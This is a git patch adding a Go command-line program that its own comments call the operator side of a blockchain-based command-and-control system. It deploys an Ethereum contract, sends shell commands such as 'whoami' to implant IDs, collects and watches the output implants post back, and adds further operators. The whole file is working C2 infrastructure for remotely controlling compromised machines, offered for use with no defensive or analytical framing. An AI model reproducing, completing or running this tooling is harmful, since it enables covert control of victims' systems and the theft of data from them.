From b3b42ce3ffbbfda8b2dcec9a7ed193d0ff5459e9 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Mon, 8 Jun 2026 05:59:09 +0000 Subject: [PATCH] Upload files to "c2_blockchain_contract/cmd/server" --- c2_blockchain_contract/cmd/server/main.go | 580 ++++++++++++++++++++++ 1 file changed, 580 insertions(+) create mode 100644 c2_blockchain_contract/cmd/server/main.go diff --git a/c2_blockchain_contract/cmd/server/main.go b/c2_blockchain_contract/cmd/server/main.go new file mode 100644 index 0000000..1ba3424 --- /dev/null +++ b/c2_blockchain_contract/cmd/server/main.go @@ -0,0 +1,580 @@ +// Command server is the operator-side tool for deploying the contract and +// issuing commands to implants via the blockchain. +package main + +import ( + "context" + "encoding/hex" + "fmt" + "math/big" + "os" + "strings" + "time" + + "github.com/ethereum/go-ethereum" + "github.com/ethereum/go-ethereum/accounts/abi" + "github.com/ethereum/go-ethereum/accounts/abi/bind" + "github.com/ethereum/go-ethereum/common" + "github.com/ethereum/go-ethereum/core/types" + "github.com/ethereum/go-ethereum/crypto" + "github.com/ethereum/go-ethereum/ethclient" +) + +// ------------------ +// Embedded ABI — replace with `forge inspect C2Controller abi` output +// ------------------ + +const contractABIJSON = `[ + {"inputs":[{"internalType":"address","name":"initialOperator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"}, + {"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"command","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"CommandIssued","type":"event"}, + {"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"resultId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"result","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"ResultSubmitted","type":"event"}, + {"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"active","type":"bool"}],"name":"OperatorUpdated","type":"event"}, + {"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}, + {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"ackCommand","outputs":[],"stateMutability":"nonpayable","type":"function"}, + {"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"commands","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"bool","name":"active","type":"bool"}],"stateMutability":"view","type":"function"}, + {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getActiveCommands","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}],"stateMutability":"view","type":"function"}, + {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}, + {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getLatestCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}, + {"inputs":[{"internalType":"bytes32","name":"resultId","type":"bytes32"}],"name":"getResult","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"stateMutability":"view","type":"function"}, + {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"string","name":"command","type":"string"}],"name":"issueCommand","outputs":[],"stateMutability":"nonpayable","type":"function"}, + {"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"operators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}, + {"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}, + {"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}, + {"inputs":[],"name":"resultCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}, + {"inputs":[{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"resultIdAtIndex","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"}, + {"inputs":[{"internalType":"address","name":"op","type":"address"},{"internalType":"bool","name":"active","type":"bool"}],"name":"setOperator","outputs":[],"stateMutability":"nonpayable","type":"function"}, + {"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"},{"internalType":"string","name":"result","type":"string"}],"name":"submitResult","outputs":[],"stateMutability":"nonpayable","type":"function"}, + {"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"} +]` + +// Placeholder — replace with actual deployed bytecode hex from compile +// Run: solc --bin C2Controller.sol or forge build && cat out/C2Controller.sol/C2Controller.json | jq -r '.bytecode.object' +const contractBytecode = "0x608060..." // REPLACE ME + +// ────────────────────────────────────────────── +// CLI +// ────────────────────────────────────────────── + +func main() { + if len(os.Args) < 2 { + printUsage() + os.Exit(1) + } + + switch os.Args[1] { + case "deploy": + cmdDeploy(os.Args[2:]) + case "exec": + cmdExec(os.Args[2:]) + case "results": + cmdResults(os.Args[2:]) + case "add-op": + cmdAddOp(os.Args[2:]) + case "watch": + cmdWatch(os.Args[2:]) + default: + fmt.Fprintf(os.Stderr, "Unknown command: %s\n\n", os.Args[1]) + printUsage() + os.Exit(1) + } +} + +func printUsage() { + fmt.Println(`Usage: + server deploy [initial-operator-address] + server exec + server results [--limit N] + server add-op + server watch [--implant ] + +Flags: + --limit Limit results shown (default 20) + --implant Filter events by implant ID + +Environment: + PRIVATE_KEY Hex private key (alternative to CLI arg) + ETH_RPC_URL RPC URL (alternative to CLI arg) + CONTRACT_ADDR Contract address (alternative to CLI arg) + +Examples: + server deploy https://sepolia.infura.io/v3/YOUR_KEY 0xabc123... + server exec https://sepolia.infura.io/v3/YOUR_KEY 0xabc123... 0xDeAd... 0011 "whoami" + server results https://sepolia.infura.io/v3/YOUR_KEY 0xDeAd... + server watch https://sepolia.infura.io/v3/YOUR_KEY 0xDeAd...`) +} + +func parseCommonFlags(args []string) ([]string, *uint64) { + var limit *uint64 + var filtered []string + for i := 0; i < len(args); i++ { + if args[i] == "--limit" && i+1 < len(args) { + i++ + v := uint64(0) + if _, err := fmt.Sscanf(args[i], "%d", &v); err == nil { + limit = &v + } + } else { + filtered = append(filtered, args[i]) + } + } + return filtered, limit +} + +// ────────────────────────────────────────────── +// connect / wallet helpers +// ────────────────────────────────────────────── + +func rpcAndWallet(rpcURL, pkHex string) (*ethclient.Client, *bind.TransactOpts, error) { + client, err := ethclient.Dial(rpcURL) + if err != nil { + return nil, nil, fmt.Errorf("dial: %w", err) + } + privateKey, err := crypto.HexToECDSA(strings.TrimPrefix(pkHex, "0x")) + if err != nil { + return nil, nil, fmt.Errorf("private key: %w", err) + } + chainID, err := client.NetworkID(nil) + if err != nil { + return nil, nil, fmt.Errorf("chain ID: %w", err) + } + auth, err := bind.NewKeyedTransactorWithChainID(privateKey, chainID) + if err != nil { + return nil, nil, fmt.Errorf("transactor: %w", err) + } + return client, auth, nil +} + +func getEnvOrDefault(envKey, def string) string { + if v := os.Getenv(envKey); v != "" { + return v + } + return def +} + +func bytes32FromHex(s string) ([32]byte, error) { + var out [32]byte + b, err := hex.DecodeString(strings.TrimPrefix(s, "0x")) + if err != nil { + return out, err + } + if len(b) != 32 { + return out, fmt.Errorf("expected 32 bytes, got %d", len(b)) + } + copy(out[:], b) + return out, nil +} + +// ────────────────────────────────────────────── +// ABI helpers +// ────────────────────────────────────────────── + +func mustParseABI() abi.ABI { + a, err := abi.JSON(strings.NewReader(contractABIJSON)) + if err != nil { + panic(fmt.Sprintf("ABI parse error: %v", err)) + } + return a +} + +func contractCall(client *ethclient.Client, to common.Address, data []byte) ([]byte, error) { + return client.CallContract(nil, ethereum.CallMsg{To: &to, Data: data}, nil) +} + +func sendTx(client *ethclient.Client, auth *bind.TransactOpts, to common.Address, data []byte, gas uint64) (*types.Transaction, error) { + gasPrice, err := client.SuggestGasPrice(nil) + if err != nil { + return nil, fmt.Errorf("suggestGasPrice: %w", err) + } + gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12)) + gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10)) + + nonce, err := client.PendingNonceAt(nil, auth.From) + if err != nil { + return nil, fmt.Errorf("nonce: %w", err) + } + + tx := types.NewTransaction(nonce, to, big.NewInt(0), gas, gasPrice, data) + signedTx, err := auth.Signer(auth.From, tx) + if err != nil { + return nil, fmt.Errorf("sign: %w", err) + } + if err := client.SendTransaction(nil, signedTx); err != nil { + return nil, fmt.Errorf("send: %w", err) + } + return signedTx, nil +} + +// ────────────────────────────────────────────── +// Subcommand: deploy +// ────────────────────────────────────────────── + +func cmdDeploy(args []string) { + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "Usage: server deploy [initial-operator-address]") + os.Exit(1) + } + rpcURL := args[0] + pkHex := args[1] + initOp := common.Address{} + if len(args) > 2 { + initOp = common.HexToAddress(args[2]) + } + + client, auth, err := rpcAndWallet(rpcURL, pkHex) + if err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + os.Exit(1) + } + + parsedABI := mustParseABI() + + ctorArgs, err := parsedABI.Pack("", initOp) + if err != nil { + fmt.Fprintf(os.Stderr, "Constructor arg encode error: %v\n", err) + os.Exit(1) + } + + data := append(common.FromHex(contractBytecode), ctorArgs...) + + gasPrice, err := client.SuggestGasPrice(nil) + if err != nil { + fmt.Fprintf(os.Stderr, "SuggestGasPrice: %v\n", err) + os.Exit(1) + } + gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12)) + gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10)) + + nonce, err := client.PendingNonceAt(nil, auth.From) + if err != nil { + fmt.Fprintf(os.Stderr, "Nonce: %v\n", err) + os.Exit(1) + } + + tx := types.NewContractCreation(nonce, big.NewInt(0), 3000000, gasPrice, data) + signedTx, err := auth.Signer(auth.From, tx) + if err != nil { + fmt.Fprintf(os.Stderr, "Sign error: %v\n", err) + os.Exit(1) + } + if err := client.SendTransaction(nil, signedTx); err != nil { + fmt.Fprintf(os.Stderr, "Send error: %v\n", err) + os.Exit(1) + } + + fmt.Printf("Deploy tx sent: %s\n", signedTx.Hash().Hex()) + fmt.Println("Waiting for receipt...") + + receipt, err := bind.WaitMined(nil, client, signedTx) + if err != nil { + fmt.Fprintf(os.Stderr, "Wait error: %v\n", err) + os.Exit(1) + } + if receipt.Status == 0 { + fmt.Fprintln(os.Stderr, "Deploy failed (reverted). Check your contract or gas.") + os.Exit(1) + } + + fmt.Printf("Contract deployed at: %s\n", receipt.ContractAddress.Hex()) + fmt.Printf("Tx hash: %s\n", receipt.TxHash.Hex()) + fmt.Printf("Block: %d\n", receipt.BlockNumber) +} + +// ────────────────────────────────────────────── +// Subcommand: exec (issue a command) +// ────────────────────────────────────────────── + +func cmdExec(args []string) { + if len(args) < 5 { + fmt.Fprintln(os.Stderr, "Usage: server exec ") + os.Exit(1) + } + rpcURL := args[0] + pkHex := args[1] + contractAddr := common.HexToAddress(args[2]) + implantHex := args[3] + commandStr := args[4] + + implantID, err := bytes32FromHex(implantHex) + if err != nil { + fmt.Fprintf(os.Stderr, "Bad implant ID: %v\n", err) + os.Exit(1) + } + + client, auth, err := rpcAndWallet(rpcURL, pkHex) + if err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + os.Exit(1) + } + + parsedABI := mustParseABI() + data, err := parsedABI.Pack("issueCommand", implantID, commandStr) + if err != nil { + fmt.Fprintf(os.Stderr, "Pack error: %v\n", err) + os.Exit(1) + } + + tx, err := sendTx(client, auth, contractAddr, data, 200000) + if err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + os.Exit(1) + } + + fmt.Printf("Command issued. Tx: %s\n", tx.Hash().Hex()) + fmt.Printf("Implant ID: 0x%x\n", implantID) + + // Compute command ID (matching contract's keccak256(implantId, command, block.timestamp)) + // Since block.timestamp is unknown client-side, the operator should note the tx hash + // and use `server results` to see the result appear. + fmt.Println("Use `server results ` to see results.") +} + +// ────────────────────────────────────────────── +// Subcommand: results +// ────────────────────────────────────────────── + +func cmdResults(args []string) { + args, limit := parseCommonFlags(args) + + if len(args) < 2 { + fmt.Fprintln(os.Stderr, "Usage: server results [--limit N]") + os.Exit(1) + } + rpcURL := args[0] + contractAddr := common.HexToAddress(args[1]) + + client, err := ethclient.Dial(rpcURL) + if err != nil { + fmt.Fprintf(os.Stderr, "Dial: %v\n", err) + os.Exit(1) + } + + parsedABI := mustParseABI() + + // resultCount() + data, _ := parsedABI.Pack("resultCount") + resp, err := contractCall(client, contractAddr, data) + if err != nil { + fmt.Fprintf(os.Stderr, "resultCount: %v\n", err) + os.Exit(1) + } + count := new(big.Int).SetBytes(resp).Uint64() + + maxResults := count + if limit != nil && *limit < maxResults { + maxResults = *limit + } + + fmt.Printf("Total results: %d\n\n", count) + + for i := count; i > count-maxResults && i > 0; i-- { + idx := i - 1 + + ridData, _ := parsedABI.Pack("resultIdAtIndex", new(big.Int).SetUint64(idx)) + ridResp, err := contractCall(client, contractAddr, ridData) + if err != nil { + continue + } + var resultID [32]byte + copy(resultID[:], ridResp) + + rData, _ := parsedABI.Pack("getResult", resultID) + rResp, err := contractCall(client, contractAddr, rData) + if err != nil { + continue + } + + type Result struct { + Data string `json:"data"` + Timestamp *big.Int `json:"timestamp"` + CommandID [32]byte `json:"commandId"` + } + var res Result + if err := parsedABI.UnpackIntoInterface(&res, "getResult", rResp); err != nil { + continue + } + t := time.Unix(res.Timestamp.Int64(), 0) + + fmt.Printf("[%d] Result ID: 0x%x\n", idx, resultID) + fmt.Printf(" Command: 0x%x\n", res.CommandID) + fmt.Printf(" Time: %s\n", t.Format(time.RFC3339)) + fmt.Printf(" Output: %s\n", truncate(res.Data, 200)) + fmt.Println() + } +} + +func truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + "..." +} + +// ────────────────────────────────────────────── +// Subcommand: add-op +// ────────────────────────────────────────────── + +func cmdAddOp(args []string) { + if len(args) < 4 { + fmt.Fprintln(os.Stderr, "Usage: server add-op ") + os.Exit(1) + } + rpcURL := args[0] + pkHex := args[1] + contractAddr := common.HexToAddress(args[2]) + opAddr := common.HexToAddress(args[3]) + + client, auth, err := rpcAndWallet(rpcURL, pkHex) + if err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + os.Exit(1) + } + + parsedABI := mustParseABI() + data, err := parsedABI.Pack("setOperator", opAddr, true) + if err != nil { + fmt.Fprintf(os.Stderr, "Pack error: %v\n", err) + os.Exit(1) + } + + tx, err := sendTx(client, auth, contractAddr, data, 100000) + if err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + os.Exit(1) + } + + fmt.Printf("Operator %s added. Tx: %s\n", opAddr.Hex(), tx.Hash().Hex()) +} + +// ────────────────────────────────────────────── +// Subcommand: watch +// ────────────────────────────────────────────── + +func cmdWatch(args []string) { + args, _ = parseCommonFlags(args) + + rpcURL := "" + contractAddr := common.Address{} + var filterImplant *[32]byte + + if len(args) >= 2 { + rpcURL = args[0] + contractAddr = common.HexToAddress(args[1]) + } + for i := 0; i < len(args); i++ { + if args[i] == "--implant" && i+1 < len(args) { + i++ + hid, err := bytes32FromHex(args[i]) + if err == nil { + filterImplant = &hid + } + } + } + + if rpcURL == "" { + rpcURL = getEnvOrDefault("ETH_RPC_URL", "") + } + if rpcURL == "" { + fmt.Fprintln(os.Stderr, "RPC URL required (arg or ETH_RPC_URL)") + os.Exit(1) + } + if contractAddr == (common.Address{}) { + c := getEnvOrDefault("CONTRACT_ADDR", "") + if c == "" { + fmt.Fprintln(os.Stderr, "Contract address required (arg or CONTRACT_ADDR)") + os.Exit(1) + } + contractAddr = common.HexToAddress(c) + } + + client, err := ethclient.Dial(rpcURL) + if err != nil { + fmt.Fprintf(os.Stderr, "Dial: %v\n", err) + os.Exit(1) + } + + parsedABI := mustParseABI() + + cmdIssuedSig := crypto.Keccak256Hash([]byte("CommandIssued(bytes32,bytes32,string,uint256)")) + resultSubSig := crypto.Keccak256Hash([]byte("ResultSubmitted(bytes32,bytes32,bytes32,string,uint256)")) + + fmt.Printf("Watching contract %s on %s...\n", contractAddr.Hex(), rpcURL) + fmt.Println("Press Ctrl+C to stop.\n") + + var lastBlock uint64 + for { + header, err := client.HeaderByNumber(context.Background(), nil) + if err != nil { + time.Sleep(5 * time.Second) + continue + } + + currentBlock := header.Number.Uint64() + if currentBlock <= lastBlock { + time.Sleep(3 * time.Second) + continue + } + fromBlock := lastBlock + if fromBlock == 0 { + fromBlock = currentBlock + } + lastBlock = currentBlock + + logs, err := client.FilterLogs(nil, ethereum.FilterQuery{ + FromBlock: new(big.Int).SetUint64(fromBlock), + ToBlock: new(big.Int).SetUint64(currentBlock), + Addresses: []common.Address{contractAddr}, + }) + if err != nil { + time.Sleep(3 * time.Second) + continue + } + + for _, vLog := range logs { + switch vLog.Topics[0] { + case cmdIssuedSig: + if len(vLog.Topics) < 3 { + continue + } + var implantID [32]byte + copy(implantID[:], vLog.Topics[1].Bytes()) + if filterImplant != nil && implantID != *filterImplant { + continue + } + + type CmdEvent struct { + Command string `json:"0"` + Timestamp *big.Int `json:"1"` + } + var ev CmdEvent + if err := parsedABI.UnpackIntoInterface(&ev, "CommandIssued", vLog.Data); err == nil { + t := time.Unix(ev.Timestamp.Int64(), 0) + fmt.Printf("[CMD] implant=0x%x at %s\n", implantID, t.Format(time.RFC3339)) + fmt.Printf(" command: %s\n", truncate(ev.Command, 120)) + } + + case resultSubSig: + if len(vLog.Topics) < 4 { + continue + } + var implantID [32]byte + copy(implantID[:], vLog.Topics[1].Bytes()) + if filterImplant != nil && implantID != *filterImplant { + continue + } + + type ResEvent struct { + Result string `json:"0"` + Timestamp *big.Int `json:"1"` + } + var ev ResEvent + if err := parsedABI.UnpackIntoInterface(&ev, "ResultSubmitted", vLog.Data); err == nil { + t := time.Unix(ev.Timestamp.Int64(), 0) + fmt.Printf("[RES] implant=0x%x at %s\n", implantID, t.Format(time.RFC3339)) + fmt.Printf(" output: %s\n", truncate(ev.Result, 120)) + } + } + } + + time.Sleep(3 * time.Second) + } +}